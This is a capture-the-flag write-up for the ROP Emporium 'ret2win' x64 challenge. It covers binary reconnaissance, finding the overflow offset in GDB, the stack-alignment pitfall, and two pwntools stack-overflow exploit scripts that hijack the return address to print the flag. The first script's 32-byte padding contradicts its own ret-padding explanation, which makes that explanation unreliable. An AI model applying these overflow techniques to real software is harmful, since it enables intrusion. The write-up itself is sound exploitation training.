Jason Turley's Website

Rop Emporium ret2win x64 Writeup

ret2win

Download and unzip the challenge binary. We see that it is a 64-bit ELF that is not stripped its symbol info.

$ file ret2win 
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

Run it:

$ ./ret2win 
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault

The binary tells us that it will try to fit up to 56 bytes of user input into a 32 byte buffer. This will obviously cause a buffer overflow. I slam in a bunch of A’s and we see a Segmentation Fault has occurred.

Examine the segfault with:

$ dmesg -t | tail -1
traps: ret2win[7621] general protection fault ip:400755 sp:7ffd0c122038 error:0 in ret2win[400000+1000]

If this were a 32-bit binary, we would see the instruction pointer (ip) being overwritten with 41414141, the hex representation of “A”. However, since this is a 64-bit binary, the addresses must fall within the canonical address space of 0x0000'0000'0000'0000 to 0x0000'7FFF’FFFF’FFFF for low addresses. This will come into play later, but for now let’s continue on with analyzing the binary.

Checking Protections

Using checksec we see the binary has NX enabled, meaning we cannot execute shellcode on the stack.

$ checksec ret2win
[*] '/home/kali/ropemporium/_ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

There is no stack canaries or ASLR to worry about. We could also use the following tool from the radare2 tool suite to check the security measures.

$ rabin2 -I ret2win
arch     x86
baddr    0x400000
binsz    6739
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

Examine Exported Functions

Let’s examine the exported functions to see some of the functions created by the programmer.

$ rabin2 -qs ret2win | grep -ve imp -e ' 0 '
0x00601058 8 stdout
0x00601060 1 completed.7698
0x004006e8 110 pwnme
0x00400756 27 ret2win
0x004007f0 2 __libc_csu_fini
0x00601058 8 stdout@@GLIBC_2.2.5
0x00400800 4 _IO_stdin_used
0x00400780 101 __libc_csu_init
0x004005e0 2 _dl_relocate_static_pie
0x004005b0 43 _start
0x00400697 81 main

Of interest, we see main, pwnme, and ret2win. As the challenge name suggests, we likely need to overflow the buffer and change the instruction pointer to return to the ret2win function. Time to debug the program in GDB!

Debugging with GDB

I will be using GDB (the GNU Debugger) with GEF plugin (GDB Enhanced Features) https://github.com/hugsy/gef.

Commands:

gdb -q ret2win
disass main

disass main

We see two calls to puts() which prints some of the strings we saw earlier. You can examine them with x/s 0x400808 if you want.

Next, disassembly the pwnme function. Two things that stick out are:

We already new this from the message that is displayed when running the binary, but it is always good to verify it.

Commands:

disass pwnme

disass pwnme

Now we need to figure out exactly how many bytes to overwrite the buffer and the base pointer to get to the instruction pointer. It will likely be 40 since the buffer is 32 bytes and rbp is 8 bytes, but let’s confirm this.

Since I am using gef, I will use the built-in pattern command to fuzz with.

Commands:

pattern create 60
run     # paste in the 60 bytes

pattern create 60

We successfully generated a segfault, but remember that the instruction pointer will not be overwritten in this way since this is not a 32 bit binary. Next, we need to use pattern search to see how many bytes it took to get to rip.

Do this by seeing which bytes are on top of the stack (rsp). One benefit of using gef is that is prints stack values automatically for you. You could find this out in gdb by running x/24g $rsp to examine 24 eight-byte values from the top of the stack.

pattern search

Sweet, so it takes 40 bytes to get to the instruction pointer/program counter (rip). Next we need to add a valid address for rip to point to. Initially, I tried the address of the ret2win function (0x00400756) but this did not work.

If we read the Common pitfalls section of the Rop Emporium guide, we see a note about stack alignment.

The MOVAPS issue

If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

Essentially this is telling us that the 64-bit calling convention demands that the stack is 16 byte aligned before calling another function. We can ensure by either:

I will showcase both ways.

Exploit time!

To create my exploit, I will be using pwntools and Python.

Solution 1: Pad with extra ret instruction

For the first solution we will pad with the address of a valid ret instruction. In gdb, disassemble the ret2win function and use the ret found there.

ret instruction

We see there is a ret at address 0x400770. Below is the exploit1.py script:

#!/usr/bin/env python
# ret2win - since movaps requires the stack to be 16-byte aligned before a call instruction,
# we need to either pad our ROP with a ret instruction or return further into a function
# to skip the push instruction.

# Here we take the first approach and pad with an extra ret.
from pwn import *

io = process("./ret2win")

payload = b"A" * 32         # 32 byte buffer 
payload += p64(0x400770)    # addr of ret for padding
payload += p64(0x400764)    # addr of ret2win system() call

io.sendline(payload)
print(io.recvall().decode())

Run it to get the flag.

$ python exploit1.py 
[+] Starting program './ret2win': Done
[+] Recieving all data: Done (300B)
[*] Program './ret2win' stopped with exit code 0
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

Solution 2: Jump further into the function

We also could have gone to an address further inside the ret2win function. I chose address 0x400764, which is the address that loads the string “/bin/cat flag.txt” into edi before calling system().

system instruction

Here is the exploit:

#!/usr/bin/env python
# ret2win - since movaps requires the stack to be 16-byte aligned before a call instruction,
# we need to either pad our ROP with a ret instruction or return further into a function
# to skip the push instruction.

# Here we take the second approach and return deeper in the ret2win function.
from pwn import *

io = process("./ret2win")

payload = b"A" * 40         # 32 byte buffer + 8 byte base pointer (rbp)
payload += p64(0x400764)    # addr inside ret2win 

io.sendline(payload)
print(io.recvall().decode())

Run it to get the flag!

$ python exploit2.py 
[+] Starting program './ret2win': Done
[+] Recieving all data: Done (300B)
[*] Program './ret2win' stopped with exit code 0
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

#writeups #binary-exploitation #reversing